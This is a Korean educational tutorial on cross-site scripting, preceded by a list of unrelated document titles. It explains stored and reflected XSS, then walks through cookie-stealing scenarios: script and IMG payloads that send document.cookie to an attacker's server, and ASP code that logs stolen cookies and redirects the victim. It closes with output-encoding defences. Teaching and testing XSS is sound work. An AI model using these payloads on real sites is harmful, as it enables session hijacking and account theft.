Microsoft Word - CrossSiteScripting[XSS].docx

Similar documents
XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

로거 자료실

PowerPoint Template

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

PowerPoint Presentation

(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

PowerPoint 프레젠테이션

PowerPoint Template

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

토익S-채용사례리플렛0404

설명 Description 상세정보 네이버에서운영하는서비스중하나인쥬니어네이버 ( 이하쥬니버 ) 에서는쥬니버서비스와 관련하여도움을주기위한 [ 그림 1] 과같은플래시애플리케이션이서비스되고있다.[2] [ 그림 1] 쥬니어네이버에서서비스중인쥬니버도우미플래시애플리케이션 해당플래

No

PowerPoint 프레젠테이션

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

Cookie Spoofing.hwp

FD¾ØÅÍÇÁ¶óÀÌÁî(Àå¹Ù²Þ)-ÀÛ¾÷Áß

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

FOCUS Ⅰ. 개요 1. 사이버공격동향과거 10년전에비해사이버공격의방법은광범위하고지능적이며, 미치는범위는급격히확대되고있다. 과거개별시스템에존재하는취약점에대한스크립트키디정도의공격에서, 이제조직화된범죄단체또는국가가후원하는조직에서서버뿐만아니라클라이언트프로그램취약점, 스피어

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

제목 레이아웃

*금안 도비라및목차1~9

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

C H A P T E R 2

歯박지원-구운몽.PDF

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

*금안14(10)01-도비라및목차1~12

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

Javascript

쉽게 풀어쓴 C 프로그래밍

*2008년1월호진짜

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

게시판 스팸 실시간 차단 시스템

*금안 도비라및목차1~17

<C4DAC0CEB7CEC4BF5F666F E687770>

HTML5

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F32C2F7BDC32E >

Windows 8에서 BioStar 1 설치하기

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Ext JS À¥¾ÖÇø®ÄÉÀ̼ǰ³¹ß-³¹Àå.PDF

Microsoft PowerPoint - e pptx

Data Provisioning Services for mobile clients

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

untitled

텀블러514

양성내지b72뼈訪?303逞



자식농사웹완

chungo_story_2013.pdf

*중1부

2

Çѱ¹ÀÇ ¼º°øº¥Ã³µµÅ¥

...._



전반부-pdf

표1.4출력

003-p.ps

<4D F736F F F696E74202D20312E20B0E6C1A6C0FCB8C15F3136B3E2C7CFB9DDB1E25F325FC6ED28C0BA292E >

_

12월월간보고서내지편집3

중앙도서관소식지겨울내지33

에너지포커스 2007년 가을호


01_당선자공약_서울

인권문예대회_작품집4-2




목차

A°ø¸ðÀü ³»Áö1-¼öÁ¤

±¹³»°æÁ¦ º¹»ç1

¿¡³ÊÁö ÀÚ¿ø-Âü°í ³»Áö.PDF

전반부-pdf

뉴스레터6호

Microsoft PowerPoint 하반기 크레딧 전망_V3.pptx

50차 본문 최종

³»Áöc03âš

fsb9¿ù³»ÁöÃÖÁ¾Ãâ

¾ç¼º-¾÷¹«Æí¶÷-³»¿ëÃà¼Ò4

전도대회자료집

< DBAB4B9ABC3BB5FBAB9B9ABB0FCB8AEB8C5B4BABEF32D33B1C72E706466>

표1~4

<3344C7C1B8B0C6C320BFE4BEE02D E706466>

µ¶ÀÏÅëÀÏÁý1~2Æíq36£02Ð


Microsoft Word - 제로보드 XE_CSRF증명.doc

SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

Secure Programming Lecture1 : Introduction

Javascript


PowerPoint 프레젠테이션

160322_ADOP 상품 소개서_1.0


Microsoft PowerPoint - web-part02-ch15-문서객체조작.pptx

Transcription:

1 Education Giehong.E goodbyestar@nate.com abstract - 영리를목적으로한곳에서의불법적인배포는금지합니다. - 문서의내용은임의의가상테스트를대상으로한 OWASP10 의기본적인내용들이며교육을위해만들어진문서입니다. - 비인가받은악의적인행동은불법이며법적책임또한당사자에게있습니다 Copyright@2008 All Rights Reserved by ghlee 페이지 1

2 A Table of Contents concept XSS Test 시나리오 #1 시나리오 #2 XSS 대응방안 Reference Copyright@2008 All Rights Reserved by ghlee 페이지 2

3 concept Cross Site Scripting은사용자에게공격목적의악의적인웹컨텐츠를보내는공격방법이다. 공격자가사용자에게보내는악의적인웹컨텐츠는 URL에포함된스크립트코드이거나보안에취약한웹사이트의폼필드에입력된스크립트코드가될수있다. 일반적으로 HTML 코드에의해미리정의된위치에평범한텍스트형태로브라우저상에표현되지만 HTML은그런평범한텍스트뿐만아니라다른다양한컨텐츠를표현하고 Client Side Script Code 를포함할수있다. Client측 Script는 Sendbox 로알려진제한된환경에서동작하기때문에대부분의경우 local에는악영향을미치지않는다. Cross Site Scripting 공격이의미하는바는정확히어느한사용자가입력한스크립트코드를다른사용자의컴퓨터에서실행시키는것이다. 즉 XSS의가장큰특징인 Server가아닌 Client를공격하는것이다. Sendbox 덕분에사용자는심각한침해로부터보호받을수있지만 Client Script Code는코드에명시된파일이나로컬리소스에접근해서자신의정해진동작을수행할수있어야한다. 바로이점이위험을내포하고있는것이다실행되는스크립트코드는현재의웹페이지에포함된모든정보에접근할수있으며악의적인의도를가진공격자가 XSS를이용해서사용자의쿠키를훔쳐낼수있고마치그사용자인것처럼행세할수도있으며다른악의적인사이트로사용자를이동시키거나교묘히웹페이지내용을조작해서사용자가개인정보를입력하게할수도있음을의미한다. <script>document.images[29].src="http://img0.gmodules.com/ig/f/okstlueg20s/intl/all_kr/l ogo.gif"</script> 이스크립트를웹페이지에서로드시키면다음과같이 29 번째이미지가변경된것을볼수있다. Copyright@2008 All Rights Reserved by ghlee 페이지 3

4 XSS공격은주로사용자의 SessionID 나 Cookie값을훔쳐내어권한을훔쳐내는기법이사용되며. 본문서에서는 Session 과 Cookie를따로설명하지는않고 Cookie Stealing 에서자세히다루겠다. XSS 공격은저장 (Stored)XSS 와반사 (Reflected)XSS 이렇게크게두가지가있다. 우선첫번째로는저장 (Stored)XSS 에대해살펴보겠다. 저장XSS 는공격자가 XSS 보안취약점공격을위해가장많이살펴보는곳이같은사이트를방문하는다른사용자들에게보이는데이터를입력하는부분이다. 즉메시지입력부분, 방명록, 댓글, 등을남기기기위해사용자가입력하는부분이다. 공격자는이러한 FORM 필드부분에악의적인스크립트를저장하고후에어떤사용자가해당사이트의같은곳을방문하면해당스크립트가웹페이지에서로드면서코드가실행되는것이다. 두번째로는반사 (Reflected)XSSS 공격이며반사 (Reflected)XSS 공격은 URL의 CGI 인자에스크립트코드를삽입하는것이다. 공격자가이메일을이용해어떤웹페이지링크를보내고그링크를전달받은사용자가링크를클릭하면그링크에대한웹페이지가로드된다. 그때웹페이지에대한링크 URL에삽입된스크립트코드가실행되면서웹페이지의내용이변경된다. 이공격은스크립트를저장하기위한웹사이트는필요하지않으며사용자가조작된링크주소를클릭하면링크에대한웹페이지가로드되면서그스크립트코드가실행되기때문이다. Copyright@ @2008 All Rights Reserved by ghlee 페이지 4

5 공격대상사용자가웹사이트에입력한데이터를해당웹사이트를방문한다른사용자가볼수있는경우에이공격을적용할수있다. XSS 공격에취약한부분이발견되었더라도다른사용자가그부분을접하지않으면아무런소용이없다. 당연한이야기이지만이유는간단하다 XSS공격의특징은 ServerSideScript 가아니라 Client SideScript 이기때문이다. 공격수행방법 HTML은웹페이지에스크립트코드를삽입할수있는여러가지메커니즘을제공하며그중에서도가장명확한것이 <script> </script> 태그를이용하는것이다. 우선공격할 FORM 필드에 <script>alert( XSS Attack )</script> 를이용하여다음과같이메시지박스가뜬다면 XSS 공격에취약한것으로본다. HTML 태그는스크립트삽입에취약하다. 예를들면 IMG 태그가그런경우라고할수있다. <img src= path/image.gif> 위의 img 태그를다음과같이수정할수있다. <img src=javascript:alert( XSS alert! )> HTML 태그전반적인문제들이있으며 STYLE, SRC, HREF, TYPE 속성을지원하는태그들이대부분마찬가지이기때문에 HTML 태그자체를필터링하는것은어려운일이다. 하지만공격자는단지메시지창을띄우는것이아니라공격자는세션 ID를포함하는중요정보를얻고자하며 <script>alert(document.cookie)</script> 를이용하여쿠키의값을보여줄수있는메시지박스를띄우도록한다. 하지만이런쿠키정보는공격자입장에서는아무런도움이되지못한다. 공격자에게도움이되려면원격으로이쿠키정보를획득할수있어야하며획득할수있는방법도여러가지가존재한다. 실제적인공격방법은시나리오를통해서알아보도록하겠다. Copyright@2008 All Rights Reserved by ghlee 페이지 5

6 XSS 입력과정 / 공격절차 1. 공격자가 XSS 취약점이존재하는서버에악성스크립트를게시 2. 관리자또는사용자가로그인을실시하고토큰 (Cookie 또는 SessionID) 생성 3. 공격자가게시한악성스크립트를보거나클릭 4. 관리자또는사용자의토큰이공격자에게전송 5. 공격자가해당토큰을이용 / 다른사용자의권한을가장또는소유 XSS를유발시킬수있는대표적인코드이다. <script>... </script> <img src = javascript:... /> <div style = background-image:url( javascript...) /> <embed>... </embed> <Iframe>... </Iframe> Cross Site Scripting 의효과시스템의특정명령을실행 / SessionID & Cookie Stealing XSS 의 Filtering 우회방법들은 http://ha.ckers.org/xss.html 참조하기바란다. Copyright@2008 All Rights Reserved by ghlee 페이지 6

7 XSS Test 시나리오 #1 자신의웹서버에희생자 Cookie 남기기 가장일반적이며보편적인공격방법이다. 공격자는악성스크립트를 XSS 취약점을가지고있는게시판에스크립트를작성하여공격자사이트의애플리케이션으로이동시켜 Cookie값을수집할수있다. 게시판에다음과같은스크립트를 HTML 형식으로등록한다. <script>document.location='http://myweb/app?cookie='+document.cookie;</script> 공격자의웹서버에는다음과같은어플리케이션이있어야한다. 코드의내용은상당히간단하다 request객체로 Cookie을인자로하여그값을파일에쓰고희생자가눈치채지못하게다시그게시판으로 redirect 한다. Copyright@2008 All Rights Reserved by ghlee 페이지 7

8 <% cookie=request("cookie") ' 쿠키값받기 Set fs = Server.CreateObject("Scripting.FileSystemObject") if fs.fileexists("c:\xss\xss.txt") then else fs.createtextfile ("c:\xss\xss.txt"), true end if Set objfile = fs.opentextfile("c:\xss\xss.txt",8) ' 파일쓰기 objfile.writeline("--------------------------------------------------------------") objfile.writeline(cookie) objfile.close response.redirect("http://211.240.68.18/demoshop/shop_board/shop_board_list.asp") %> C:\xss\xss.txt 파일이생기고 Cookie 값이등록이된다. C:\xss\xss.txt 파일을확인하면다음과같은결과가발생한다. oyesorder=oyes_order=254302281; csig_oyesorder=yfqkda657nywjohrca5i1w; ASPSESSIONIDCQRTDADQ=JEIFICPADIOAHHFHIHNLLHFC; csig_aspsessionidcqrtdadq=j3d5r50hpkiot7xdpz9ljq 쿠키값을얻었고쿠키값안에세션검증이이루어지지않았다면희생자계정으로로그인할수있으며로그인이가능하다는이야기는사용자의정보를전부획득할수있다는결과를가져온다. Copyright@2008 All Rights Reserved by ghlee 페이지 8

9 XSS Test 시나리오 #2 OO 포털 XSS 테스트 OO 포털 XSS 가능한부분과 XSS를할수있는다양한방법을생각해보고시나리오 #1 같은방식으로진행을하겠다. 하지만게시판에 <script> 태그의방어정책이수립되어있음을먼저생각해야한다. 첫번째방법으로단지 <script> 태그만막혀있으므로 HTML코드에 <script> 태그를삽입하여공격하는방식이며두번째방법은첨부파일을통한공격방법이다. 두번째공격은독자스스로가실습을해보도록한다. HTML 태그중 IMG 라는이미지삽입태그를써서공격을하였다. <IMG SRC=javascript:document.location='http://MyWeb/Getcookie.asp?cookie='+document.cookie;> 희생자가메일을읽으면다음과같은화면이나타날것이고이화면을본순간희생자의쿠키값은공격자의웹서버에남게된다. Copyright@2008 All Rights Reserved by ghlee 페이지 9

10 공격자의 C:\xss\xss.txt 파일에는쿠키값이남게된다. 공격자는훔친쿠키로로그인해서희생자의개인정보를알아낼수있다. XSS 대응방안 기술적인 XSS 방어방법을설명하기이전에어떤것을어떻게해야하는지부터설명을하겠다. 스크립트코드를실행하기위한대표적인코드는 <script> </script> 태그가있다. 하지만이태그이외에도 HTML, 자바스크립트, VB스크립트, 액티브X, FLASH 등과같이다양한스크립트언어나삽입기술이 XSS 공격에이용될수있다. 이렇게때문에허용되어서는안되는데이터를필터링하는방법보다는허용가능한데이터만필터링하는편이낫다. 가장확실하고쉬운방법은데이터가코드로해석되는것을방지하는것인데즉 HTML에서모든코드는 < > 안에존재한다. 생각해보면모든각괄호를해당인코딩값으로교체하면데이터가코드로잘못인식되는경우는발생하지않는다라는이야기가된다. 필자가생각해본방어방법중하나는 HTML 삽입부분을없애는것이다. 그렇다면서비스측면에측볼때상당히성능이떨어진다고생각하지만 HTML 툴을쓰는것이가장효율적이지않나하는생각을한다. 물론이미지삽입공격이나첨부파일형식의공격은못막겠지만말이다. 평소생각하고있었던것을이문서를통해말하는바이다. Copyright@2008 All Rights Reserved by ghlee 페이지 10

11 우선 XSS 공격이되는게시판에테스트를해보고 HTML 인코딩을적용시키는예를살펴보자다음과같이스크립트가적용되는것을볼수있다. contents = Server.HTMLEncode(Request("contents")) CONTENTS 부분을 HTML Encode 시킨다면다음과같이 <script> 태그가적용이안될것이다. 이방법의문제점은 CONTETS 부분에 HTML 태그전부를인코딩하는결과가발생된다. content = ConvertTohtml(content) content = Replace(content,"'","''") content = replace(content,"&","&") content = replace(content,">",">") content = replace(content,"<","<") Replace 구문을쓰게되면해당태그를필터링시킬수있다. Copyright@2008 All Rights Reserved by ghlee 페이지 11

12 Reference 황순일, 김광진.(2005) 웹해킹패턴과대응 사이텍미디어 마이크엔드류스 / 제임스A. 휘태커.(2006) How to Break Web Software : Funtional and Security Testing of Web Applications and Web Services Pearson http://cafe.naver.com/securityplus Copyright@2008 All Rights Reserved by ghlee 페이지 12